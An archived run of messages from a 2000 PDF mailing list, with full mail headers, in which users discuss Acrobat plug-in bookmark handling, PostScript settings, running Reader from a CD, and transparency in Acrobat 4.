Max's advice as well and ZIP the new file, to save upload and download time. But if the goal is simply to get the file from A to B intact, ASCII encoding alone may well do the trick. 2. In the Distiller printer driver, have the creator select the Postscript tab and make sure the PostScript output format is set to PostScript (optimize for portability - ADSC). Many people are unaware that their PostScript is still set at the default setting, ""optimize for speed."" Paul Franklin Stregevsky, Technical Writer NEC America, Inc. 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Herndon, VA 20171-3227 stregevp@hn.va.nec.com W: (703) 834-4648 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 22-Dec-2000 2:15:08-GMT,4223;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id TAA07919 for ; Thu, 21 Dec 2000 19:15:07 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id UAA20367; Thu, 21 Dec 2000 20:05:17 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 19:59:14 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id TAA20093; Thu, 21 Dec 2000 19:59:13 -0600 Received: from hk.sina.com.hk ([202.85.139.107]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id TAA20089 for ; Thu, 21 Dec 2000 19:59:11 -0600 Received: (qmail 27822 invoked by uid 99); 22 Dec 2000 02:00:29 -0000 Message-ID: <20001222020029.27821.qmail@hk.sina.com.hk> X-Mailer: SinaMail 3.0Beta (FireToad) From: leo_fwchan To: pdf@lists.pdfzone.com Subject: RE: Re: [PDF] CanWeGetBookmarkindex/ID from activepage Date: Fri Dec 22 10:00:29 CST 2000 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ My real situation is: Before user read any pages by scrolling, typing in pagenumber and clicking bookmark, my API should know corresponding bookmark title (Book's Chapter). I have try to read all bookmark tree but there is no insight to get corresponding pages(except user just clik bookmark), since bookmark in reader is just like a navigator for user clicking. Thanks you! Leo At 9:50 PM -0500 12/21/00, leo_fwchan wrote: >>How can we get the corresponding bookmark index/ID from active page (PDDoc)? >>---------------------------------------------------------------------------- > > You should really post this to the PDFDev list, since that's >where development questions belong. However, let me see if I can >answer it for you. > > >>I am developing a plug-in for acrobat reader. > > You know all about getting a Reader license and key, right? > > >>In the case, I want to get the relationship of bookmark and current >>page. After I read all SDK documents, there is no issue found for >>solving this problem. > > There is no ""easy"" answer to this because there does not >necessarily have to be any relationship. > > Bookmarks are simply a UI element (mostly) that have actions >attached to them - these actions can be (and in most cases are) ""Go >To Page"" actions, BUT they could just as easily be anything from >playing a movie to running a JavaScript. > > >>First: If I get an active PDDoc by function ""AVDocGetPDDoc"" and its page >>number, how can I get the corresponding bookmark index/ID? > > You have to walk the bookmark tree, get each bookmark's >action, determine if the action is a GoTo, and if so, what page >number and then compare the page numbers. > > >>Second: If I get bookmark root by function ""PDDocGetBookmarkRoot"", >>how can I obtain corresponding pages and their child's pages? >> > Same thing - get the action (PDBookmarkGetAction), get the >type of action (PDActionGetSubtype) and see if it's GoTo. If it is, >then get the page number from the dictionary. > > >Leonard >-- >---------------------------------------------------------------------------- >Leonard Rosenthol >Sr. Software Engineer (215) 922-3509 (voice) >Digital Applications (215) 440-0504 (fax) > >PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 =================================================================== �s���K�O�q�l�l�c http://sinamail.sina.com.hk �s������Ecard""�b""���` http://ecards1.sina.com.hk/info.cgi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 22-Dec-2000 2:56:24-GMT,3111;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id TAA08713 for ; Thu, 21 Dec 2000 19:56:23 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id UAA22287; Thu, 21 Dec 2000 20:46:48 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 20:41:20 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id UAA22036; Thu, 21 Dec 2000 20:41:19 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id UAA22032 for ; Thu, 21 Dec 2000 20:41:18 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 83350 via TCP with SMTP; Thu, 21 Dec 2000 21:42:10 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: <20001222020029.27821.qmail@hk.sina.com.hk> References: <20001222020029.27821.qmail@hk.sina.com.hk> Date: Thu, 21 Dec 2000 21:37:26 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: RE: Re: [PDF] CanWeGetBookmarkindex/ID from activepage Cc: leo_fwchan@sinaman.com Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 10:00 AM -0600 12/22/00, leo_fwchan wrote: >My real situation is: Before user read any pages by scrolling, >typing in pagenumber and clicking bookmark, my API should know >corresponding bookmark title (Book's Chapter). OK, so what's the problem? You start at the root of the bookmark tree and then walk it going through children, siblings, etc. Do you understand what this means? >I have try to read all >bookmark tree but there is no insight to get corresponding pages Sure there is - just like both Aandi and I described it! Once you have the PDBookmark, you get it's PDAction, which can then tell you the Subtype, which if it's a GoTo has a page number associated with it. Have you read the PDF specification yet to understand how this stuff gets into a PDF document? Have you opened up a PDF and looked inside it? Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 22-Dec-2000 4:31:10-GMT,2359;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id VAA10530 for ; Thu, 21 Dec 2000 21:31:09 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id WAA25894; Thu, 21 Dec 2000 22:12:46 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 22:06:58 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id WAA25626; Thu, 21 Dec 2000 22:06:56 -0600 Received: from smtp.wanadoo.es ([62.36.220.61]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id WAA25622 for ; Thu, 21 Dec 2000 22:06:54 -0600 Received: from terra (ctv21225134032.ctv.es [212.25.134.32]) by smtp.wanadoo.es (8.10.2/8.10.2) with SMTP id eBM46Ww01364 for ; Fri, 22 Dec 2000 05:06:37 +0100 (MET) Message-ID: <000b01c06bcc$58050bc0$6a28fea9@terra.es> From: ""La Oficina Sin Papel"" To: References: <20001222020029.27821.qmail@hk.sina.com.hk> Subject: RE: Re: [PDF] CanWeGetBookmarkindex/ID from activepage Date: Fri, 22 Dec 2000 05:04:49 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Leonard, excuse my ignorance but... What are ""siblings""? (Never heard it before.. a quick explanation will do... if possible) > OK, so what's the problem? You start at the root of the > bookmark tree and then walk it going through children, siblings, etc. TIA Carlos Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 22-Dec-2000 9:02:39-GMT,2486;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id CAA16080 for ; Fri, 22 Dec 2000 02:02:38 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id CAA04618; Fri, 22 Dec 2000 02:52:40 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 22 Dec 2000 02:46:32 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id CAA04371; Fri, 22 Dec 2000 02:46:30 -0600 Received: from hermes.hrz.uni-giessen.de (hermes.hrz.uni-giessen.de [134.176.2.15]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id CAA04367 for ; Fri, 22 Dec 2000 02:46:29 -0600 From: Andreas.Bauer@bio.uni-giessen.de Received: from [134.176.12.51] by hermes.hrz.uni-giessen.de with ESMTP for pdf@lists.pdfzone.com; Fri, 22 Dec 2000 09:46:13 +0100 To: pdf@lists.pdfzone.com Date: Fri, 22 Dec 2000 09:43:21 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Subject: RE: [PDF] PDF/Acrobat on CD for PC In-reply-to: <002501c06b9e$a83abb40$510b83c1@gateway.quite.com> References: <3A427C9A.F239A758@msdw.com> X-mailer: Pegasus Mail for Win32 (v3.12b) Message-Id: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from Quoted-printable to 8bit by everglades.binc.net id CAA04368 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ in fact it is possible to run acrobat from cd. please take a look at: http://www.pdfzone.com/resources/tips/tip0051.html Seems to me that it is possible even you do not use a mac ;-) Frohe Weihnachten Andreas ---------------------------------------------------------- Andreas Bauer Justus-Liebig-Universit�t Giessen Institut f�r Tierphysiologie Wartweg 95 35392 Giessen Fon: 0641/99 35 253 Fax: 0641/99 35 059 email: andreas.bauer@bio.uni-giessen.de Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 22-Dec-2000 9:16:03-GMT,3345;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id CAA16356 for ; Fri, 22 Dec 2000 02:16:02 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id DAA05539; Fri, 22 Dec 2000 03:06:53 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 22 Dec 2000 03:01:37 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id DAA05236; Fri, 22 Dec 2000 03:01:35 -0600 Received: from bird2.de.uu.net (bird2.de.uu.net [193.101.111.28]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id DAA05232 for ; Fri, 22 Dec 2000 03:01:34 -0600 Received: from schuitz.com (pec-182-149.tnt12.me.uunet.de [149.225.182.149]) by bird2.de.uu.net (5.5.5/5.5.5) with ESMTP id KAA23613 for ; Fri, 22 Dec 2000 10:01:32 +0100 (MET) Message-ID: <3A43186B.D4BD81DC@schuitz.com> Date: Fri, 22 Dec 2000 10:01:31 +0100 From: Schuitz Grafik Design X-Mailer: Mozilla 4.75 [de]C-CCK-MCD DT (Win95; U) X-Accept-Language: de MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] How to export bookmarklists to ASCII? References: <000701c06ba3$1a244600$c9026b83@godzilla> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Yaaaap! This was a real fast q/a feedback with success. Thanks to you all - Patricia, David, Aandi- for the ideas. We just tried countbookmarks.zip and it makes exactely what we needed in a snap. Trying the other links, too, next week. Thanks for the xmas-present ;-) Happy holidays, Raimund David Kavanagh schrieb: > > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > In response to a similiar query on this list a couple of years ago, we > produced a free plug-in to count the number of bookmarks in a PDF file and > copy them to a simple ASCII file. > > If you'd like to give it a try, I've just put it on our website, but the > only way to get it is through this link: > http://www.pdf-solutions.com/countbookmarks.zip > > It is without frills, or even an install program, so just extract the > countbookmarks.api file and drop it into your Acrobat plug-ins directory. > > Regards, > David Kavanagh > PDF Solutions Ltd. > > > -----Original Message----- > > > > Hello, > > any chance to export long PDF-bookmark lists to simple ASCII-Files? > > Thanks, > > Raimund > > > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 22-Dec-2000 9:55:41-GMT,3468;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id CAA17022 for ; Fri, 22 Dec 2000 02:55:40 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id DAA07381; Fri, 22 Dec 2000 03:46:28 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 22 Dec 2000 03:41:09 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id DAA07168; Fri, 22 Dec 2000 03:40:55 -0600 Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id DAA07161 for ; Fri, 22 Dec 2000 03:40:45 -0600 From: fjk@akgsoftware.de Received: from [195.20.224.219] (helo=mrvdom03.kundenserver.de) by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2) id 149Ogi-0002V9-00 for pdf@lists.pdfzone.com; Fri, 22 Dec 2000 10:40:32 +0100 Received: from p3e9c38dc.dip0.t-ipconnect.de ([62.156.56.220] helo=akgsoftware.de) by mrvdom03.kundenserver.de with smtp (Exim 2.12 #2) id 149Oge-0002hQ-00 for pdf@lists.pdfzone.com; Fri, 22 Dec 2000 10:40:29 +0100 Organization: AKG Software Consulting GmbH To: pdf@lists.pdfzone.com Date: Fri, 22 Dec 2000 10:28:17 +0100 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Subject: [PDF] Again: Semi-transparent colors in Acrobat 4.0x? Message-Id: <3A432CC1.1316.44D01C@localhost> In-Reply-To: <001401c06b7a$540b9040$510b83c1@gateway.quite.com> References: <3A424965.8385.ED7EF2@localhost> X-Mailer: Pegasus Mail for Win32 (v3.12cDE) Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Aandi, Bob, Leonard, Max, thanks for all your quick and competent answers --- I guess I'll have to wait for Acrobat 5.0 / PDF 1.4. What makes me wonder is: - InDesign 1.5 creates transparent colors even if I generate the PDF with the Distiller Printer (win2k). - A tool named ""O.R.I.S. page"" which I downloaded (www.cgs.com) as demo yesterday, lets me open the PDF with the opaque colors, pick the relevant object and define a transparency between 0 (nothing) and 100 (opaque) percent. So, it obviously _can_ be done whether by hand (which is no choice for our customers) or using the distiller 4.0 (win2k) printer driver. There must be a way to communicate with the driver and tell him to do things transparent --- but maybe only for the staff of ADOBE ... ;-) Again, thanks and merry X-mas, Franz-Josef --- ""Outside of a dog, a book is a men's best friend. Inside of a dog, it's too dark to read."" (G. Marx) Franz-Josef Knelangen ------ AKG Software Consulting GmbH Jechtinger Str. 13 79111 Freiburg im Breisgau Tel. (0761)47821-19 Fax -30 Tixi FJK+49-761-4706926 www.akgsoftware.de Std.Discl.""All this has to be turned in DECENT English"" Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 22-Dec-2000 13:36:00-GMT,3130;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id GAA20911 for ; Fri, 22 Dec 2000 06:35:59 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA16700; Fri, 22 Dec 2000 07:27:17 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 22 Dec 2000 07:22:08 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA16244; Fri, 22 Dec 2000 07:22:06 -0600 Received: from dmmail.docmaestro.com (mail.docmaestro.com [4.21.213.227]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA16240 for ; Fri, 22 Dec 2000 07:22:05 -0600 Message-ID: From: Jose Mera To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] PDF/Acrobat on CD for PC Date: Fri, 22 Dec 2000 08:25:13 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Don, We have a product called LibraryManager that will: 1. setup the CD to autorun 2. detect if Reader or Acrobat is on the PC and if not install it. 3. allows for a fyi splash screen 4. presents the user with a listing of the PDFs on the CD, by title or whatever you want. This display can also contain your company logo at the top. 4. allows for PDF links across multiple CD libraries. Check it out on our website and contact me directly for further info. Jose Mera VP DocMaestro Products Div. ISPA, Inc. 1700 McMullen Booth Rd., Suite C-3 Clearwater, Fl 33759 Phone: 727-669-8911 x222 Fax: 727-669-6410 http://www.DocMaestro.com -----Original Message----- From: Don Montalvo [mailto:Don.Montalvo@msdw.com] Sent: Thursday, December 21, 2000 4:57 PM To: pdf@lists.pdfzone.com Subject: [PDF] PDF/Acrobat on CD for PC We're working on a project where we have to produce PC formatted CD's which contain a PDF and the Acrobat Reader 4 application. I've read the rather lengthy instructions given for this at the Adobe site...well, I'm wondering if anyone can break it down into easy to follow steps for those of us who are PC challenged. Here's what we need: 1. PC formatted CD's 2. PDF's will be version 4 (hotlinks, etc.) 3. Doubleclicking the PDF on the CD should result in Acrobat Reader launching directly from the CD, no matter how the user's computer is set up. Anyone have this process down, willing to share their simplified instructions? Thanks a million. Don Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 22-Dec-2000 13:37:57-GMT,3343;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id GAA20964 for ; Fri, 22 Dec 2000 06:37:56 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA15491; Fri, 22 Dec 2000 07:13:22 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 22 Dec 2000 07:06:05 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA15182; Fri, 22 Dec 2000 07:06:04 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA15176 for ; Fri, 22 Dec 2000 07:06:00 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id NAA11912 for ; Fri, 22 Dec 2000 13:06:08 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Again: Semi-transparent colors in Acrobat 4.0x? Date: Fri, 22 Dec 2000 13:05:57 -0000 Message-ID: <000201c06c17$edaf2520$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <3A432CC1.1316.44D01C@localhost> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > thanks for all your quick and competent answers --- I guess I'll have > to wait for Acrobat 5.0 / PDF 1.4. What makes me wonder is: > > - InDesign 1.5 creates transparent colors even if I generate the PDF > with the Distiller Printer (win2k). Can you describe the exact procedure. > > - A tool named ""O.R.I.S. page"" which I downloaded (www.cgs.com) > as demo yesterday, lets me open the PDF with the opaque colors, > pick the relevant object and define a transparency between 0 > (nothing) and 100 (opaque) percent. Is this on screen only? That URL doesn't seem to work today. > > So, it obviously _can_ be done whether by hand (which is no > choice for our customers) No, it CANNOT. I don't usually like to be definite, but this is one case where I can be sure that the PDF specification does not include semi-transparency. Believe what you have been told. What you may be seeing is one of the following: 1. Producing a result which pre-mixes the colours so as to give the illusion of transparency. You have been able to do this in Photoshop for years. Transparent when designing, but fixed once saved. 2. If it is for screen only, a plug-in could in theory mix colours that are already in the frame buffer. Tricks, in other words. Tricks may be good enough! Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 22-Dec-2000 13:39:32-GMT,2542;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id GAA21014 for ; Fri, 22 Dec 2000 06:39:31 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA16301; Fri, 22 Dec 2000 07:23:23 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 22 Dec 2000 07:18:06 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA15910; Fri, 22 Dec 2000 07:18:03 -0600 Received: from stmpy-4.cais.net (stmpy-4.cais.net [205.252.14.74]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA15894 for ; Fri, 22 Dec 2000 07:18:00 -0600 Received: from default (ppp22.net-A.cais.net [205.252.61.22]) by stmpy-4.cais.net (8.11.1/8.11.1) with SMTP id eBMDHsP11453 for ; Fri, 22 Dec 2000 08:17:54 -0500 (EST) From: ""Jane Edwards"" To: Subject: RE: Re: [PDF] CanWeGetBookmarkindex/ID from activepage Date: Fri, 22 Dec 2000 08:17:11 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <000b01c06bcc$58050bc0$6a28fea9@terra.es> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Brothers and sisters. | -----Original Message----- | From: On | Behalf Of La Oficina Sin Papel __________________________________________________________________ Leonard, excuse my ignorance but... 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Does anyone knows why it occurs even cleaning the temporary files of browser (IE)? Do Acrobat (4.06) or Reader have a internal cache control? If exists, where do I can get information on that? Thanks Helio Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 25-Dec-2000 3:04:35-GMT,4405;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id UAA27383 for ; Sun, 24 Dec 2000 20:04:34 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id UAA25126; Sun, 24 Dec 2000 20:55:35 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 24 Dec 2000 20:48:54 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id UAA24797; Sun, 24 Dec 2000 20:48:52 -0600 Received: from avocet.prod.itd.earthlink.net (avocet.prod.itd.earthlink.net [207.217.121.50]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id UAA24793 for ; Sun, 24 Dec 2000 20:48:50 -0600 Received: from [192.168.0.2] (sdn-ar-002nynyorP316.dialsprint.net [168.191.122.94]) by avocet.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id SAA21018; Sun, 24 Dec 2000 18:48:47 -0800 (PST) From: Don Montalvo To: ""pdf@lists.pdfzone.com"" Cc: Subject: [PDF] Re: pdf-digest for December-24-2000 [V2 #954] Date: Sun, 24 Dec 2000 21:47:11 -0500 Message-Id: <19341118201855.32024@mail.earthlink.net> In-Reply-To: <200012250215.UAA22217@everglades.binc.net> References: <200012250215.UAA22217@everglades.binc.net> X-Mailer: CTM PowerMail 3.0.6 MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ The problem is that we don't want anything to be installed on any computer. We need to be able to create CD's that contain the PDF(s) and Reader. The idea is for the user to double-click the PDF and have Reader run right off the CD. Typical situation: User has Reader 3 installed on his or her computer. We send them the CD and they double-click the PDF(s) and Reader launches on the CD, displaying the PDF(s)...nothing gets installed, and their own Reader 3 doesn't jump in and mess things up. Is this possible? Don -- Don Montalvo (OSX Powermail) dmjgrapihcs@earthlink.net pdf-digest (owner-pdf-digest@lists.pdfzone.com) wrote: >Date: Fri, 22 Dec 2000 08:25:13 -0500 >From: Jose Mera >Subject: RE: [PDF] PDF/Acrobat on CD for PC > >Don, > >We have a product called LibraryManager that will: >1. setup the CD to autorun >2. detect if Reader or Acrobat is on the PC and if not install it. >3. allows for a fyi splash screen >4. presents the user with a listing of the PDFs on the CD, by title or >whatever you want. This display can also contain your company logo at the >top. >4. allows for PDF links across multiple CD libraries. > >Check it out on our website and contact me directly for further info. > >Jose Mera >VP DocMaestro Products Div. >ISPA, Inc. >1700 McMullen Booth Rd., Suite C-3 >Clearwater, Fl 33759 >Phone: 727-669-8911 x222 >Fax: 727-669-6410 >http://www.DocMaestro.com > > >- -----Original Message----- >From: Don Montalvo [mailto:Don.Montalvo@msdw.com] >Sent: Thursday, December 21, 2000 4:57 PM >To: pdf@lists.pdfzone.com >Subject: [PDF] PDF/Acrobat on CD for PC > > >We're working on a project where we have to produce PC formatted >CD's which contain a PDF and the Acrobat Reader 4 application. >I've read the rather lengthy instructions given for this at the >Adobe site...well, I'm wondering if anyone can break it down into >easy to follow steps for those of us who are PC challenged. > >Here's what we need: >1. >PC formatted CD's > >2. >PDF's will be version 4 (hotlinks, etc.) > >3. >Doubleclicking the PDF on the CD should result in Acrobat Reader >launching directly from the CD, no matter how the user's computer >is set up. > >Anyone have this process down, willing to share their simplified >instructions? Thanks a million. > >Don Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 2:55:31-GMT,3674;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id TAA21443 for ; Mon, 25 Dec 2000 19:55:30 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id UAA08213; Mon, 25 Dec 2000 20:38:31 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 25 Dec 2000 20:27:11 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id UAA07773; Mon, 25 Dec 2000 20:27:07 -0600 Received: from smtp-relay-2.Adobe.COM (smtp-relay-2.adobe.com [192.150.11.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id UAA07769 for ; Mon, 25 Dec 2000 20:27:06 -0600 Received: from inner-relay-2.Adobe.COM (inner-relay-2.corp.adobe.com [153.32.1.52]) by smtp-relay-2.Adobe.COM (8.8.6) with ESMTP id SAA03367 for ; Mon, 25 Dec 2000 18:30:36 -0800 (PST) Received: from mailsj-v1.corp.adobe.com by inner-relay-2.Adobe.COM (8.8.5) with ESMTP id SAA04519; 